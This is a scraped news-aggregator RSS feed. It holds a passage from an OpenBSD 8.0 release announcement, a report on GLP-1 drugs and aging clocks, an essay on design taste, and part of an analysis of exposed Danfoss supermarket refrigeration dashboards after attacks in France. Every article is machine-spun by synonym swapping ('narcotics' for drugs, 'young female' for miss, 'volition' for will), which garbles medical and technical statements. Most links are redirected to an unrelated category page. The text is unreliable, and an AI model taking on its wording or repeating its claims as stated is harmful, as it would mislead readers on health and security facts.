target="_blank" rel="nofollow">https://fastly.cdn.openbsd.org/pub/OpenBSD/8.0/</a> Global The publish is additionally accessible at the expert site: <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://ftp.openbsd.org/pub/OpenBSD/8.0/</a> Alberta, Canada However it is powerfully suggested you use a mirror. Other mirror sites may obtain a day or two to update. 2) Connect to that HTTPS mirror location and go into the directory pub/OpenBSD/8.0/ which contains these records and directories. This is a catalog of what you volition see: ANNOUNCEMENT armv7/ octeon/ root.mail README hppa/ openbsd-80-base.pub sparc64/ SHA256 i386/ packages/ src.tar.gz SHA256.sig landisk/ packages-stable/ sys.tar.gz alpha/ loongson/ ports.tar.gz xenocara.tar.gz amd64/ luna88k/ powerpc64/ arm64/ macppc/ riscv64/ It is fairly apt that you volition desire at LEAST the following records which use to all the architectures OpenBSD supports. README - generic README root.mail - a copy of root's communication at first login. (This is really worthwhile reading). 3) Read the README file. It is short, and a quick peruse volition make certain you comprehend what alternatively you need to fetch. 4) Next, go into the directory that applies to your architecture, for example, amd64. This is a catalog of what you volition see: BOOTIA32.EFI* bsd* floppy80.img pxeboot* BOOTX64.EFI* bsd.mp* game80.tgz xbase80.tgz BUILDINFO bsd.rd* index.txt xfont80.tgz INSTALL.amd64 cd80.iso install80.img xserv80.tgz SHA256 cdboot* install80.iso xshare80.tgz SHA256.sig cdbr* man80.tgz base80.tgz comp80.tgz miniroot80.img If you are new to OpenBSD, fetch _at least_ the document INSTALL.amd64 and install80.iso. The install80.iso document (roughly 794MB in size) is a one-step ISO-format instal CD depiction which contains the various *.tgz records so you do not need to fetch them separately. If you favor to use a USB flash drive, fetch install80.img and prosecute the instructions in INSTALL.amd64. 5) If you are an expert, prosecute the instructions in the document called README; otherwise, use the additional complete instructions in the document called INSTALL.amd64. INSTALL.amd64 may inform you that you need to fetch another files. 6) Just in case, obtain a peek at: <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://www.OpenBSD.org/errata.html</a> This is the leaf anywhere we conversation concerning the mistakes we made while creating the 8.0 release, or the important bugs we fixed post-release which we think our users should have fixes for. Patches and workarounds are plainly described there. ------------------------------------------------------------------------ - X.ORG FOR MOST ARCHITECTURES ----------------------------------------- X.Org has been unified additional closely into the system. This release contains X.Org 7.7. Most of our architectures container alongside X.Org, including amd64, sparc64 and macppc. During installation, you can instal X.Org quite effortlessly using xenodm(1), our simplified X11 display director forked from xdm(1). ------------------------------------------------------------------------ - PACKAGES AND PORTS --------------------------------------------------- Many third gathering application applications have been ported to OpenBSD and can be installed as pre-compiled binary packages on the assorted OpenBSD architectures. Please see <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://www.openbsd.org/faq/faq15.html</a> for more data on operating alongside packages and ports. Note: a few famous ports, e.g., NSD, Unbound, and multiple X applications, arrive norm alongside OpenBSD and do not need to be installed separately. ------------------------------------------------------------------------ - SYSTEM SOURCE CODE --------------------------------------------------- The origin code for all four subsystems can be established in the pub/OpenBSD/8.0/ directory: xenocara.tar.gz ports.tar.gz src.tar.gz sys.tar.gz The README (<a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://ftp.OpenBSD.org/pub/OpenBSD/8.0/README</a>) file explains how to agreement alongside these origin files. ------------------------------------------------------------------------ - THANKS --------------------------------------------------------------- Ports tree and bundle construction by Jeremie Courreges-Anglas, Visa Hankala, Stuart Henderson, Peter Hessler, George Koehler, Kurt Mosiejczuk, and Christian Weisgerber. Base and X scheme builds by Kenji Aoyama and Theo de Raadt. Release art by "yvaneht nioj and clanker". We would akin to appreciate all of the group who sent in bug reports, bug fixes, contribution cheques, and hardware that we use. We would additionally like to appreciate those who bought our former CD sets. Those who did not support us financially have motionless helped us alongside our goal of improving the norm of the software. Our developers are: Aaron Bieber, Adam Wolk, Aisha Tammy, Alexander Bluhm, Alexander Hall, Alexandr Nedvedicky, Alexandr Shadchin, Alexandre Ratchov, Andrew Hewus Fresh, Anil Madhavapeddy, Anthony J. Bentley, Antoine Jacoutot, Anton Lindqvist, Asou Masato, Ayaka Koshibe, Benoit Lecocq, Bjorn Ketelaars, Bob Beck, Brandon Mercer, Brent Cook, Bryan Steele, Can Erkin Acar, Caspar Schutijser, Charlene Wendling, Charles Longeau, Chris Cappuccio, Christian Ludwig, Christian Weisgerber, Christopher Zimmermann, Claudio Jeker, Dale Rahn, Damien Miller, Daniel Dickman, Daniel Jakots, Darren Tucker, Dave Voutila, David Coppa, David Gwynne, David Hill, David Leadbeater, Denis Fondras, Edd Barrett, Eric Faurot, Florian Obser, Florian Riehm, Frederic Cambus, George Koehler, Gerhard Roth, Giannis Tsaraias, Gilles Chehade, Giovanni Bechis, Gleydson Soares, Gonzalo L. Rodriguez, Greg Steuck, Hans-Joerg Hoexer, Helg Bredow, Henning Brauer, Ian Darwin, Igor Sobrado, Ingo Feinerer, Ingo Schwarze, James Hastings, James Turner, Jan Klemkow, Jason McIntyre, Jasper Lievisse Adriaanse, Jeremie Courreges-Anglas, Jeremy Evans, Job Snijders, Joel Sing, Joerg Jung, Johannes Thyssen Tishman, Jonathan Armani, Jonathan Gray, Jonathan Matthew, Jordan Hargrave, Josh Rickmar, Joshua Sing, Joshua Stein, Juan Francisco Cantero Hurtado, Kazuya Goda, Kenji Aoyama, Kenjiro Nakayama, Kenneth R Westerback, Kent R. Spillner, Kevin Lo, Kirill A. Korinsky, Kirill Bychkov, Klemens Nanni, Kurt Miller, Kurt Mosiejczuk, Landry Breuil, Lawrence Teo, Lucas Gabriel Vuotto, Lucas Raab, Marcus Glocker, Mark Kettenis, Mark Lumsden, Markus Friedl, Martijn van Duren, Martin Natano, Martin Reindl, Martynas Venckus, Matthew Dempsky, Matthias Kilian, Matthieu Herrb, Michael Mikonos, Mike Belopuhov, Mike Larkin, Miod Vallat, Moritz Buhl, Nam Nguyen, Nayden Markatchev, Nicholas Marriott, Nigel Taylor, Okan Demirmen, Omar Polo, Ori Bernstein, Otto Moerbeek, Paco Esteban, Pamela Mosiejczuk, Pascal Stumpf, Patrick Wildt, Paul Irofti, Pavel Korovin, Peter Hessler, Philip Guenther, Pierre-Emmanuel Andre, Pratik Vyas, Rafael Sadowski, Rafael Zalamena, Ralph Covelli, Raphael Graf, Remi Locherer, Remi Pointel, Renato Westphal, Renaud Allard, Ricardo Mestre, Richard Procter, Rob Pierce, Robert Nagy, Sasano Takayoshi, Scott Soule Cheloha, Sebastian Benoit, Sebastian Reitenbach, Sebastien Marie, Solene Rapenne, Stefan Fritsch, Stefan Hagen, Stefan Kempf, Stefan Sperling, Steven Mestdagh, Stuart Cassoff, Stuart Henderson, Sunil Nimmagadda, T.J. Townsend, Ted Unangst, Theo Buehler, Theo de Raadt, Thomas Frohwein, Tim van der Molen, Tobias Heider, Tobias Stoeckmann, Todd C. Miller, Todd Mortimer, Tom Cosgrove, Tracey Emery, Ulf Brosziewski, Uwe Stuehler, Vadim Zhukov, Vincent Gross, Visa Hankala, Vitaliy Makkoveev, Volker Schlecht, Yasuoka Masahiko, Yojiro Uo <b>[<a href="https://en.mycoding.id/category/technology" target="_blank">prev in list</a>] [<span color="#c0c0c0">next in list</span>] [<a href="https://en.mycoding.id/category/technology" target="_blank">prev in thread</a>] [<span color="#c0c0c0">next in thread</span>] </b> </pre> <br> <a href="https://en.mycoding.id/category/technology" target="_blank">Configure</a> | <a href="https://en.mycoding.id/category/technology" target="_blank">About</a> | <a href="https://en.mycoding.id/category/technology" target="_blank">News</a> | <a href="https://en.mycoding.id/category/technology" target="_blank">Add&nbsp;a&nbsp;list</a> | Sponsored&nbsp;by&nbsp;<a href="https://en.mycoding.id/category/technology" target="_blank">KoreLogic</a> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/openbsd-8-0-released-oct-20-2026-73235</guid> <pubDate>Tue, 20 Oct 2026 02:53:51 +0700</pubDate> <author><![CDATA[support@mycoding.id (Mira Azkia)]]></author> </item> <item> <title><![CDATA[Novo Nordisk, Eli Lilly Report GLP-1 Signals of Slowed Biological Aging at ARDD]]></title> <description><![CDATA[Novo Nordisk, Eli Lilly Report GLP-1 Signals of Slowed Biological Aging at ARDD. Comments]]></description> <media:thumbnail url="https://trial.medpath.com/og-banner.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/novo-nordisk-eli-lilly-report-glp-1-signals-of-slowed-biological-aging-at-ardd-73236</link> <content:encoded><![CDATA[<div><p><a href="https://en.mycoding.id/category/technology" target="_blank">Novo Nordisk<span aria-hidden="true">View business profile</span></a><span> and </span><a href="https://en.mycoding.id/category/technology" target="_blank">Eli Lilly<span aria-hidden="true">View business profile</span></a><span> all presented first data at the Aging Research &amp; Drug Discovery (ARDD) gathering at Harvard suggesting that their </span><a href="https://en.mycoding.id/category/technology" target="_blank">GLP-1 receptor<span> (search)</span><span aria-hidden="true">Search target</span></a><span> agonists may dilatory molecular measures of biologic aging, the archetypal medicinal readouts tying the medication category to aging clocks.</span></p> <p><span>Novo's Global Project Leader for Research and Development, Nikolaj Roed, presented evidence that </span><a href="https://en.mycoding.id/category/technology" target="_blank">semaglutide<span aria-hidden="true">View medication details</span></a><span> and another </span><a href="https://en.mycoding.id/category/technology" target="_blank">GLP-1 receptor<span> (search)</span><span aria-hidden="true">Search target</span></a><span> agonists "may" assistance healthier aging, citing endurance and bodily function data and class-level evidence pointing to broader longevity potential. Roed stated the business has been seeing "improved biologic age in our patients throughout trials and throughout distinct tissues," alongside an general difference of about two to three years.</span></p> <p><span>Alejandro Aguayo-Orozco, a elder specialized director at Novo, told the gathering that the inquiry is no longer whether </span><a href="https://en.mycoding.id/category/technology" target="_blank">semaglutide<span aria-hidden="true">View medication details</span></a><span> reaches diseases applicable to health extend and aging. "If the inquiry is, 'Can </span><span>semaglutide</span><span> attain multiple diseases applicable to health extend and aging?' we cognize we can say the answer is yes," he said. The next question, he added, is whether those effects are accompanied by changes to molecular measures of biologic aging: "When you intervene alongside </span><span>semaglutide</span><span>, does it really move the clocks in any direction? And the answer is yes."</span></p> <h2>Proteomic Clocks in 10,052 Participants</h2> <p><span>Novo's study drew lifeblood from 10,052 people, fractional on the medication and fractional on placebo, at baseline and again months later. The samples were measured alongside proteomic clocks, which use levels of key proteins to foretell a person's age and hazard of dying. The business established the narcotics caused a broad slowdown in aging clocks, as much as four years on a clock that looks at bosom proteins. "I think it's beautiful apparent that the harmonium age is shifting," Aguayo-Orozco said.</span></p> <p><a href="https://en.mycoding.id/category/technology" target="_blank">Semaglutide<span aria-hidden="true">View medication details</span></a><span> showed lesser proteomic biologic age estimates throughout cardiovascular outcome trials, alongside a fast consequence inside 13 to 20 weeks that was either sustained or enhanced complete 150 weeks. Proteomic signatures suggested improvements in vitality and locomotion. Modeled from SELECT test consequence estimates in a UK real-world </span><span>semaglutide</span><span> cohort of 19,117 people, remaining life-year gains of 1.9 years general were projected throughout all age group, alongside the largest acquire at younger care ages.</span></p> <h2>Lilly's Epigenetic Sub-Study Within SURMOUNT-5</h2> <p><span>Kevin Duffin, vice chairman for aging investigation at </span><a href="https://en.mycoding.id/category/technology" target="_blank">Eli Lilly<span aria-hidden="true">View business profile</span></a><span>, presented first epigenetic data suggesting </span><a href="https://en.mycoding.id/category/technology" target="_blank">tirzepatide<span aria-hidden="true">View medication details</span></a><span> "may" dilatory biologic aging, framing it as a small aviator to test methods and inspect consistency fairly than a conclusive result. "All the clocks are telling a accordant narrative that we're seeing a decrease in age," Duffin said. "It's not akin we're going to reverse age by 30 years or something, but it's a important reduction."</span></p> <p><span>The data came from an epigenetic sub-study inside SURMOUNT-5, Lilly's head-to-head test of </span><a href="https://en.mycoding.id/category/technology" target="_blank">tirzepatide<span aria-hidden="true">View medication details</span></a><span> against </span><a href="https://en.mycoding.id/category/technology" target="_blank">semaglutide<span aria-hidden="true">View medication details</span></a><span>. The sub-study took paired whole-blood samples from </span><span>tirzepatide</span><span>-treated participants at baseline and at week 72, equal to 1.38 elapsed years, alongside 91.5% of participants on the 15 mg dose by week 72. </span><a href="https://en.mycoding.id/category/technology" target="_blank">Zymo Research<span> (search)</span><span aria-hidden="true">Search term</span></a><span> and </span><a href="https://en.mycoding.id/category/technology" target="_blank">TruDiagnostic<span> (search)</span><span aria-hidden="true">Search term</span></a><span> independently generated the methylation data so the two sets could be checked against all other. After norm control, the inspection covered 82 distinctive subjects, 71 of whom had paired baseline and week 72 data.</span></p> <p><span>All 15 age-unit epigenetic clocks showed small aging than the 1.38 years of chronological period that had passed. Two clocks reached statistical significance, alongside median gains of 1.1 and 0.7 years complete the study period. On pace-of-aging measures, the Zymo data showed DunedinPACE falling from a median of 1.13 to 1.08. </span><a href="https://en.mycoding.id/category/technology" target="_blank">TruDiagnostic<span> (search)</span><span aria-hidden="true">Search term</span></a><span>'s data reproduced the direction of journey throughout six second-generation clocks, including GrimAge V1 and V2, and showed larger effects on the DunedinPACE and FraminghamPACE gait clocks.</span></p> <p><span>Organ clocks suggested lesser predicted age in the immune system, kidney, liver and cardiovascular organs, which Lilly stated fits the improved medicinal outcomes seen in tolerant trials. Methylation-based macromolecule predictions, known as EpiScores, established 21 proteins considerably changed at week 72. The form pointed to reduced innate inflammatory signalling, metabolic inflammation and tissue damage, and risen adaptive immune surveillance, and it replicated 28 earlier reported diabetes-associated macromolecule signatures. Lilly drew parallels alongside findings from caloric limitation and bariatric operation studies.</span></p> <h2>Caveats and Open Questions</h2> <p><span>Lilly described the display as heavily caveated. The sub-study was small and single-arm, alongside no placebo or control. Follow-up was abbreviated related to the measure error of the clocks, and several clock signals were discordant or unresolved. Several predicted macromolecule changes did not equivalent genuine measurements, including VCAM1, SHBG and TNFRSF1B. The clocks themselves were not trained on randomized controlled test or longitudinal data. Lilly called the findings preliminary and hypothesis-generating, needing replication in larger, ideally randomized studies, and stated it plans to develop the activity to </span><a href="https://en.mycoding.id/category/technology" target="_blank">semaglutide<span aria-hidden="true">View medication details</span></a><span> and another chronic importance administration studies.</span></p> <p><span>Steve Horvath, a prof at the University of California, Los Angeles, credited alongside inventing aging clocks, stated the emerging data could provision "evidence that these GLP-1 narcotics are really what is known as geroprotectors, medications that dilatory or perchance equal reverse biologic aging." He described a two-year consequence as "pretty strong." But Horvath cautioned that he is not prepared to obtain the narcotics himself. "Clearly, the narcotics have many benefits in obese people, but I did not yet see adequate evidence that they volition advantage skinny people," he said. "I conjecture we volition have to wait."</span></p> <p><span>Vadim Gladyshev, a Harvard biologist who assisted Novo alongside its molecular measurements, said: "In an unhealthy population, I do think it's an anti-aging drug. But in a fit population, no one knows." Several group at the gathering cautioned that GLP-1 narcotics have flank effects, including muscle loss.</span></p> <p><span>Yuge Ji, a biologist who earlier worked in the site and now runs a startup, Reflector Bio, stated the studies are a boost for aging clock science. "The clock group have been pushing for a decade to get this benevolent of study done," she said.</span></p> <h2>A Regulatory Path for Longevity Drugs</h2> <p><span>Answers on fit populations could commencement to appear in a twelvemonth or two. In January, the US agency </span><a href="https://en.mycoding.id/category/technology" target="_blank">ARPA-H<span> (search)</span><span aria-hidden="true">Search term</span></a><span> put $38 myriad toward a study in Texas that volition attempt to decide whether </span><a href="https://en.mycoding.id/category/technology" target="_blank">semaglutide<span aria-hidden="true">View medication details</span></a><span> has anti-aging effects in fit group complete 60, looking at changes in cognition, mobility, and acuity of the senses. That project additionally seeks to assistance define a regulatory pathway for anti-aging narcotics and to "build a new therapeutic industry" about longevity.</span></p> <p><span>With the two Novo and Lilly now applying biological-age readouts to their GLP-1 franchises, the industry's two largest </span><a href="https://en.mycoding.id/category/technology" target="_blank">obesity<span> (search)</span><span aria-hidden="true">Search disease</span></a><span> players are construction the evidence basis that an FDA panel stated the site itself must supply. Novo stated it is exploring person medication indications throughout immune-mediated inflammatory diseases, ache and addiction, and women's and men's health, alongside resources including incretins, amylins, anti-inflammatory resources and another mechanisms of action.</span></p></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/novo-nordisk-eli-lilly-report-glp-1-signals-of-slowed-biological-aging-at-ardd-73236</guid> <pubDate>Tue, 20 Oct 2026 02:34:58 +0700</pubDate> <author><![CDATA[support@mycoding.id (Mira Azkia)]]></author> </item> <item> <title><![CDATA[Developing Taste]]></title> <description><![CDATA[Developing Taste. Comments]]></description> <media:thumbnail url="https://emilkowal.ski/ui/developing-taste/opengraph-image.jpg?504f64db8768edb1"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/developing-taste-73237</link> <content:encoded><![CDATA[<div> <p>When the archetypal car came out, consumers didn&rsquo;t attention concerning its color, or silhouette, since the competition was a horse.<sup><a href="https://en.mycoding.id/category/technology" target="_blank" id="footnote-1">1</a></sup> But now that cars have been commoditized, norm and particulars have rotate into additional crucial than ever.</p> <p>The identical applies to software. Simply shipping a merchandise that plant is no longer enough, everyone can do that, particularly now alongside AI. It&rsquo;s not the differentiator anymore as group anticipate things to work. What makes a merchandise remain out is the brand, design, how intuitive it is, the general experience. <em>Taste</em> is what matters.</p> <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank"><span><span>&ldquo;</span><p>In a earth of scarcity, we treasure <em>tools</em>. <br> In a earth of abundance, we treasure <em>taste</em>.</p><span>&rdquo;</span></span><div><p><span>Anu Atluru<span><span>, </span> Taste is Eating Silicon Valley</span></span></p></div></a> <p>But what is fine taste? It&rsquo;s commonly mistaken as individual preference, but it&rsquo;s additional than that &mdash; it&rsquo;s a trained instinct. The capability to see beyond the apparent and acknowledge what elevates. It&rsquo;s why several designs awareness effortless. So the genuine inquiry is, how do you train that instinct?</p> <a href="https://en.mycoding.id/category/technology" target="_blank"><svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewbox="0 0 24 24" fill="none"><path d="M10 19.0004L9.82843 19.1719C8.26634 20.734 5.73368 20.734 4.17158 19.1719L3.82843 18.8288C2.26634 17.2667 2.26633 14.734 3.82843 13.1719L7.17158 9.8288C8.73368 8.2667 11.2663 8.2667 12.8284 9.8288L13.1716 10.1719C13.8252 10.8256 14.2053 11.6491 14.312 12.5004" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path><path d="M9.68799 12.5004C9.79463 13.3516 10.1748 14.1752 10.8284 14.8288L11.1715 15.1719C12.7336 16.734 15.2663 16.734 16.8284 15.1719L20.1715 11.8288C21.7336 10.2667 21.7336 7.73404 20.1715 6.17194L19.8284 5.8288C18.2663 4.2667 15.7336 4.2667 14.1715 5.8288L14 6.00037" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path></svg><h2 id="surround-yourself-with-great-work">Surround yourself alongside awesome work</h2></a> <p>If you are a designer, you have to be looking at awesome designs. If you are a writer, you have to be study awesome books. Expose yourself to awesome work, this way you&rsquo;ll study how greatness looks and feels like.</p> <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank"><span><span>&ldquo;</span><p>It comes downward to trying to disclose yourself to the finest things that <em>humans have done</em> and afterward try to bring those things into <em>what you&rsquo;re doing</em>.</p><span>&rdquo;</span></span></a> <p>Find group who are respected in their field. Look who they regard and build a curated catalog of tastemakers. Surround yourself alongside their work. Look at their designs, use their apps, peruse their books. Learning from the finest is the finest way to learn.<sup><a href="https://en.mycoding.id/category/technology" target="_blank" id="footnote-2">2</a></sup></p> <a href="https://en.mycoding.id/category/technology" target="_blank"><svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewbox="0 0 24 24" fill="none"><path d="M10 19.0004L9.82843 19.1719C8.26634 20.734 5.73368 20.734 4.17158 19.1719L3.82843 18.8288C2.26634 17.2667 2.26633 14.734 3.82843 13.1719L7.17158 9.8288C8.73368 8.2667 11.2663 8.2667 12.8284 9.8288L13.1716 10.1719C13.8252 10.8256 14.2053 11.6491 14.312 12.5004" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path><path d="M9.68799 12.5004C9.79463 13.3516 10.1748 14.1752 10.8284 14.8288L11.1715 15.1719C12.7336 16.734 15.2663 16.734 16.8284 15.1719L20.1715 11.8288C21.7336 10.2667 21.7336 7.73404 20.1715 6.17194L19.8284 5.8288C18.2663 4.2667 15.7336 4.2667 14.1715 5.8288L14 6.00037" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path></svg><h2 id="think-about-why-you-like-something">Think concerning why you akin something</h2></a> <p>While calibrating your taste, don&rsquo;t tag things as fine or bad. Instead of relying on gut feelings, try to rationalize why item feels great. Analyze and comprehend patterns, don&rsquo;t depend purely on your intuition.</p> <p>If you&rsquo;re a designer, don&rsquo;t fair use apps, study them. Why does a particular communication awareness good?<sup><a href="https://en.mycoding.id/category/technology" target="_blank" id="footnote-3">3</a></sup> If you&rsquo;re a filmmaker, don&rsquo;t fair observe movies, think concerning why the director made the choices they did.</p> <p>Have a mindset of thinking deeply concerning what makes item great. Go beyond the exterior level. Be curious.</p> <a href="https://en.mycoding.id/category/technology" target="_blank"><svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewbox="0 0 24 24" fill="none"><path d="M10 19.0004L9.82843 19.1719C8.26634 20.734 5.73368 20.734 4.17158 19.1719L3.82843 18.8288C2.26634 17.2667 2.26633 14.734 3.82843 13.1719L7.17158 9.8288C8.73368 8.2667 11.2663 8.2667 12.8284 9.8288L13.1716 10.1719C13.8252 10.8256 14.2053 11.6491 14.312 12.5004" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path><path d="M9.68799 12.5004C9.79463 13.3516 10.1748 14.1752 10.8284 14.8288L11.1715 15.1719C12.7336 16.734 15.2663 16.734 16.8284 15.1719L20.1715 11.8288C21.7336 10.2667 21.7336 7.73404 20.1715 6.17194L19.8284 5.8288C18.2663 4.2667 15.7336 4.2667 14.1715 5.8288L14 6.00037" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path></svg><h2 id="practice">Practice</h2></a> <p>Practice your craft. Create things. A decorator should design, a author should write. This volition create you not lone a fine fairness of taste, but also, alongside time, a tastemaker.</p> <p>While practicing, search feedback from others. Good critique from the correct individual can accelerate this procedure additional than test and error alone.</p> <p>The things you&rsquo;ll create likely won&rsquo;t be fine at first, but that&rsquo;s a fine sign. Your sensation is fine adequate to inform that your activity is not on par yet. This phase is normal. Don&rsquo;t quit, it&rsquo;ll get improved overtime.<sup><a href="https://en.mycoding.id/category/technology" target="_blank" id="footnote-4">4</a></sup></p></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/developing-taste-73237</guid> <pubDate>Tue, 20 Oct 2026 02:12:03 +0700</pubDate> <author><![CDATA[support@mycoding.id (Mira Azkia)]]></author> </item> <item> <title><![CDATA[Lula supporters protest against Meta to denounce its 'electoral interference']]></title> <description><![CDATA[Lula supporters protest against Meta to denounce its 'electoral interference'. Comments]]></description> <media:thumbnail url="https://en.mycoding.id/site/assets/img/og-image.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/lula-supporters-protest-against-meta-to-denounce-its-electoral-interference-73234</link> <content:encoded><![CDATA[<a href="https://en.mycoding.id/category/technology" target="_blank">Comments</a>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/lula-supporters-protest-against-meta-to-denounce-its-electoral-interference-73234</guid> <pubDate>Tue, 20 Oct 2026 01:53:52 +0700</pubDate> <author><![CDATA[support@mycoding.id (Mira Azkia)]]></author> </item> <item> <title><![CDATA[France's Supermarket Fridges Were Vulnerable Online for Months]]></title> <description><![CDATA[France's Supermarket Fridges Were Vulnerable Online for Months. Comments]]></description> <media:thumbnail url="https://website-cdn.assets.ipinfo.io/images/og/og_blog.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/france-s-supermarket-fridges-were-vulnerable-online-for-months-73229</link> <content:encoded><![CDATA[<div><div><p>On the night of October 11 to 12, 2026, fridges and freezers in hundreds of French supermarkets started to heated up. Cyber attackers had pushed the refrigeration systems into defrost mode, which heats the cooling parts to melt ice. Some units <a href="https://en.mycoding.id/category/technology" target="_blank">reached 50&deg;C</a> (122&deg;F), several equipment started to capture fire, <a href="https://en.mycoding.id/category/technology" target="_blank">according to the Paris prosecutor</a>, and stores <a href="https://en.mycoding.id/category/technology" target="_blank">threw distant their caller and icy food</a>. The reports pointed to one creator of refrigeration controllers, Danfoss (a Danish manufacturing company).</p><p>We went through IPinfo's weekly Internet scans to analyze these systems before the attack. In this blog article we&rsquo;ll examine several of the findings. Here&rsquo;s the TL;DR:</p><ul><li><strong>France had additional exposed fridge dashboards than the remainder of the earth combined:</strong> 1,331, against 1,197 in the another 72 countries and territories put together.</li><li><strong>85% ran application alongside known safety flaws.</strong> That includes 527 older controllers Danfoss no longer supports. Only 195 had all known fix.</li><li><strong>Most had been exposed for at smallest six months.</strong> 1,019 of the French dashboards were at the identical location on March 30, and the portion completely updated rosy lone from 14% to 24% in that period period.</li><li><strong>France didn't place worse than another countries.</strong> The flawed portion elsewhere was nearly the identical (84%). France fair had far additional of these systems online.</li><li><strong>Most went offline following the attack.</strong> 316 of the 1,331 were motionless online on October 14.</li></ul><h2 id="what-happened">What Happened</h2><p>The numbers from the chains keep growing. <a href="https://en.mycoding.id/category/technology" target="_blank">More than 400 stores</a> were hit in total according to Futura-Sciences, and <a href="https://en.mycoding.id/category/technology" target="_blank">losses could attain multiple myriad euros</a>. Carrefour stated 80 of its stores were hit, during Intermarch&eacute; and Netto, the two part of Les Mousquetaires (a French retailing group), had <a href="https://en.mycoding.id/category/technology" target="_blank">more than 300 hit</a>. Monoprix reported that <a href="https://en.mycoding.id/category/technology" target="_blank">about 5% of its stores</a> were affected.&nbsp;</p><p>Leclerc and Coop&eacute;rative U, two another French supermarket chains, <a href="https://en.mycoding.id/category/technology" target="_blank">also confirmed attacks</a>. Coop&eacute;rative U's CEO, Dominique Schelcher, <a href="https://en.mycoding.id/category/technology" target="_blank">told RTL</a> that 80 of its 2,000 stores were hit. He added that the stores don't buy from Danfoss immediately but use a Danfoss scheme supplied by their refrigeration contractors.</p><p><a href="https://en.mycoding.id/category/technology" target="_blank">Danfoss said</a> most of the affected equipment was "legacy,&rdquo; naming two older controller models, the AK-SM 800 and AK-SC 355. CERT-FR (France's cybersecurity agency) <a href="https://en.mycoding.id/category/technology" target="_blank">said it knew of many compromises</a> of AK-SM and AK-SC controllers. It told operators to disconnect them or restrict who can attain them, and <a href="https://en.mycoding.id/category/technology" target="_blank">updated its vigilant on October 13</a> to add XWEB supervisors (systems that detect a store's fridges and freezers) from Copeland, a US creator of cooling equipment, and Dixell, its Italian brand. Its vigilant says assault campaigns are likely motionless ongoing. Nobody has stated who did it or how they got in, and the Paris prosecutor's agency has opened an <a href="https://en.mycoding.id/category/technology" target="_blank">investigation</a>.</p><h2 id="france-stood-out-by-far">France Stood Out, by Far</h2><p>We scan <a href="https://en.mycoding.id/category/technology" target="_blank">the IPv4 Internet</a> (the most average category of Internet address) all week, connecting to the customary ports that websites use (the numbered doors a device answers on) and record what answers. In the clear that ran on October 6 and 7, five days before the attack, 2,528 addresses showed a Danfoss StoreView dashboard. That is the web leaf that stores and technicians use to observe and oversee these controllers, the equal of the authority panel in the rear room, apart from that anyone who typed in the location could open it.</p><p>According to our data, France had 1,331 of them (53%). That is additional than the another 72 countries and territories blended (1,197). Poland came next alongside 179, afterward the United States (101), Portugal (92), and Belgium (85).</p><figure><img src="https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/2026/10/france-fridge-chart.png" alt="" loading="lazy" width="1080" height="1080" srcset="https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/size/w600/2026/10/france-fridge-chart.png 600w, https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/size/w1000/2026/10/france-fridge-chart.png 1000w, https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/2026/10/france-fridge-chart.png 1080w" sizes=" 720px) 720px"><figcaption><span>Danfoss dashboards open to the Internet, by country, October 6&ndash;7, 2026.</span></figcaption></figure><p>Why France? Our data can't say, but it rules a few things out. French dashboards ran the identical mix of application versions as everyplace else, so they weren't patched worse. They additionally weren't different in how they connect. In France, concerning two-thirds nexus through one national provider, much akin the chief telecom in Portugal, Germany, or Romania. Almost all (98%) are on telecom providers' networks fairly than in data centers or clouds, which fits a controller plugged into the store's own Internet connection, alongside admission opened for a technician or caput office.&nbsp;</p><p><a href="https://en.mycoding.id/category/technology" target="_blank">CERT-FR's advice</a> hints at why stores keep them online: it tells them to inspect their coverage conditions before cutting the data their controllers dispatch to refrigeration contractors.</p><h2 id="most-fridge-software-was-out-of-date">Most Fridge Software Was Out of Date</h2><p>The dashboards additionally provision distant how old the application rearward them is. They arrive in two generations. The older one is a leaf built alongside Flash (an old browser plug-in, former in 2020) and served by the AK-SM 800. Danfoss <a href="https://en.mycoding.id/category/technology" target="_blank">declared these controllers end of existence in 2023</a>. That identical year, the safety resolute Synacktiv <a href="https://en.mycoding.id/category/technology" target="_blank">published a login bypass</a> (a way in without the password) for them, and Danfoss's direction was to restrict network access. This is the "legacy" equipment Danfoss named.</p><p>The newer one runs on the AK-SM 800A, Danfoss's current model. Its dashboard shows whenever its application was built, a bit akin the manufacturing date stamped on a carton, which tells us approximately which type it runs: 242 of them say May 19, 2023, the build date of firmware 3.3 (firmware is the application built into the controller). Controllers older than 3.3 young female <a href="https://en.mycoding.id/category/technology" target="_blank">three 2023 fixes</a>, including one for <a href="https://en.mycoding.id/category/technology" target="_blank">a flaw rated critical</a>. Those older than 4.2 additionally young female a fix for <a href="https://en.mycoding.id/category/technology" target="_blank">a 2025 login bypass</a>, and those older than 4.3.1 young female <a href="https://en.mycoding.id/category/technology" target="_blank">two additional 2025 